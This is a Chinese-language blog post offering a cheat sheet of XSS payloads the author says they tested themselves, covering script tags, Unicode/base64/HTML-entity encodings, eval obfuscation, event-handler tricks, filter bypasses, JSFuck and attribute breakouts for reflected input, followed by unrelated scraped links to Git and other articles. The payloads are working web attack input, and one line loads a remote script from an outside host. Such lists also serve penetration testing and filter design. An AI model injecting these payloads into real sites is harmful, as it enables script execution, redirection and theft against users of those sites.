日期:2019-05-15 14:06:21
作者:Bay0net
介绍:收集并且可用的一些 XSS payload,网上的速查表很多,但是测试了下很多 payload 的不可用,这里都是自己能用的


0x01、 基本流程

先使用无害的标签进行测试,比如<b>、<i>、<u>等,然后在测试是否过滤了 '、"、<>

0x02、可用的 payload

日常使用

<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scRipT>alert(999999)</ScriPt>
<script src="http://xss.com/evil.js">
<script src=data:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>setTimeout(alert(1),0)</script>

编码相关

unicode

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

base64

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">

html 实体

<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>
<a href= 'javascript:alert('123') '>Hello</a>
<a href= "javascript:alert( '123' )">Hello</a >
<a href= "javascript:alert( '123' )">Hello</a >
<a href= "j&#97vascript:alert&#0000040'123' &#41">Hello</a >
<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

eval 函数

<a  href="javascript:eval('a\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\u006C\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

SRC 属性

<img src=x  onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);> <img src="#" onclick="javascript:alert('img:onclick')" onerror="javascript:alert('img:onerror')" onload="javascript:alert('img:onload')">
<video src="#" onclick="javascript:alert('video:onclick')" onerror="javascript:alert('video:onerror')" onload="javascript:alert('video:onload')"></video>
<audio src="#" onclick="javascript:alert('audio:onclick')" onerror="javascript:alert('audio:onerror')" onload="javascript:alert('audio:onload')"></audio> img、video、audio 标签
onclick: 点击触发
onerror: 当 src 加载不出来时触发
onload: 当 src 加载完毕触发

iframe

<iframe src="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>

过滤相关

过滤空格和括号
<svg><script>alert&#40/1/&#41</script>
( is html encoded to &#40
) is html encoded to &#41 过滤括号
<input onfocus="alert`1`" autofocus/> 过滤了<script>的话
<scr<script>ipt>alert(1)</scr<script>ipt>;

其他标签

embed
<embed/src=//www.baidu.com> form
<form action="Javascript:alert(1)"><input type=submit value="click me">
<form><button formaction=javascript&colon;alert(1)>CLICKME
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M object
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object> anytag
<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>click a 标签
<a href="http://www.google.com">Clickme</a>
<a href="javascript:alert(1)">Clickme</a>
<a onmouseover=alert(17)>1
<a href=javascript:alert(19)>123 button 标签
<button/onclick=alert(20)> input 标签
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus> body
<body/onhashchange=alert(1)><a href=#>clickit
<body/onload=alert(25)>
<body onload=prompt(1);> svg 标签
<svg/onload=prompt(1);>

事件处理

可用的事件

onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover

具体的 payload

<body onload=prompt(1);>
<body onload= "javascript:alert('body')"></body>
<svg onload=" javascript:alert('svg')"></svg >
<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>
<select autofocus onfocus=alert(1)>
<select autofocus onfocus="javascript:alert('select' )"></select>
<textarea autofocus onfocus=alert(1)>
<textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>
<keygen autofocus onfocus=alert(1)>
<keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>
<video><source onerror="javascript:alert(1)">
<audio><source onerror="javascript:alert('source')"></ audio> meta
<meta http-equiv="refresh" content="0;url=//baidu.com">

JSFuck

<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>

0x03、特定情况

基于反射

代码:<input value="XSStest" type=text>
其中的 XSStest,可以使用以下 payload

" onmouseover=alert(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="

服务器过滤说明

一般都过滤成这个样子

小于号这样写:&lt; 或 <
大于号这样写:&gt; 或 >

0x04、XSSgame

XSS Game

【命令汇总】XSS payload 速查表的更多相关文章

  1. Git 命令速查表

    Git 命令速查表 1.常用的Git命令 命令 简要说明 git add 添加至暂存区 git add-interactive 交互式添加 git apply 应用补丁 git am 应用邮件格式补丁 ...

  2. Git 常用命令速查表(图文+表格)

    一. Git 常用命令速查 git branch 查看本地所有分支git status 查看当前状态 git commit 提交 git branch -a 查看所有的分支git branch -r ...

  3. Git命令速查表【转】

    本文转载自:http://www.cnblogs.com/kenshinobiy/p/4543976.html 一. Git 常用命令速查 git branch 查看本地所有分支git status ...

  4. Git 常用命令速查表(图文+表格)【转】

    转自:http://www.jb51.net/article/55442.htm 一. Git 常用命令速查 git branch 查看本地所有分支git status 查看当前状态 git comm ...

  5. 简明 Git 命令速查表(中文版)

    原文引用地址:https://github.com/flyhigher139/Git-Cheat-Sheet/blob/master/Git%20Cheat%20Sheet-Zh.md在Github上 ...

  6. OpenStack 命令行速查表

    OpenStack 命令行速查表   updated: 2017-07-18 08:53 Contents 认证 (keystone) 镜像(glance) 计算 (nova) 实例的暂停.挂起.停止 ...

  7. GNU Emacs命令速查表

    GNU Emacs命令速查表 第一章  Emacs的基本概念 表1-1:Emacs编辑器的主模式 模式 功能 基本模式(fundamental mode) 默认模式,无特殊行为 文本模式(text m ...

  8. MongoDB 命令速查表

    MongoDB  是一个面向文档可扩展的高性能开源数据库,典型的应用场景有网页数据,缓存,代替文档存储等. 命令的记忆和使用是一门基本功,这里准备了速查表,可以做案头手册. 库操作 切换或使用数据库 ...

  9. VIM 命令速查表

    今天整理一份 VIM 常用命令速查表,当做给自己备忘. 进入VIM 相关 命令 描述 vim filename 打开或者新建文件 vim +n filename 打开文件并将光标置于第n行行首 vim ...

随机推荐

  1. Linux安装FastDFS~Nginx~

    确保Linux联网,我这里使用的是CentOS7操作,联网教程 https://www.cnblogs.com/taopanfeng/p/10978752.html 先把指定的四个文件放入指定目录 安 ...

  2. java 约瑟夫问题

    题目: 给定一个数组及数组的长度,另外给定一个数m,从数组的第一个元素出发,数到第m个元素出列(如果到最后则回到第一个元素).出列元素的值作为m的新值,从出列元素的下一元素继续开始数下去,直到所有元素 ...

  3. TensorFlow——LSTM长短期记忆神经网络处理Mnist数据集

    1.RNN(Recurrent Neural Network)循环神经网络模型 详见RNN循环神经网络:https://www.cnblogs.com/pinard/p/6509630.html 2. ...

  4. matlab 中figure的图像 抗锯齿

    linehandle = plot(xxxxxx); set( linehandle, 'linesmoothing', 'on' );

  5. 一、Core授权-2 之.net core 基于Jwt实现Token令牌

    一.Startup类配置 ConfigureServices中 //添加jwt验证: services.AddAuthentication(JwtBearerDefaults.Authenticati ...

  6. mapper映射文件配置之select、resultMap(转载)

    原文地址:http://www.cnblogs.com/dongying/p/4073259.html 先看select的配置吧: <select         <!-- 1. id ( ...

  7. web性能优化--减少客户端请求数(一)

    多图标合并,用css分隔 设置较长时间的过期时间 合并多个css文件 合并多个js文件 根据域名划分内容 首先介绍一款速度测试工具:webpagetest(填上url,username,passwor ...

  8. C++中的取地址符(&)

    这个符号特别容易混淆, 因为在C++中, &有两种不同用法: 获得变量地址 引用传递 第一个例子, int main() { std::string s = "Hello" ...

  9. 解决“Caused by: org.gradle.api.plugins.UnknownPluginException: Plugin with id 'org.springframework.boot' not found.”

    升级老项目spring boot 和 cloud版本之后 gradle clean 报错:“Caused by: org.gradle.api.plugins.UnknownPluginExcepti ...

  10. Redis 历史版本下载URL

    Redis 历史版本下载URL: http://download.redis.io/releases/ Redis和RedisClient 官网下载方式: https://blog.51cto.com ...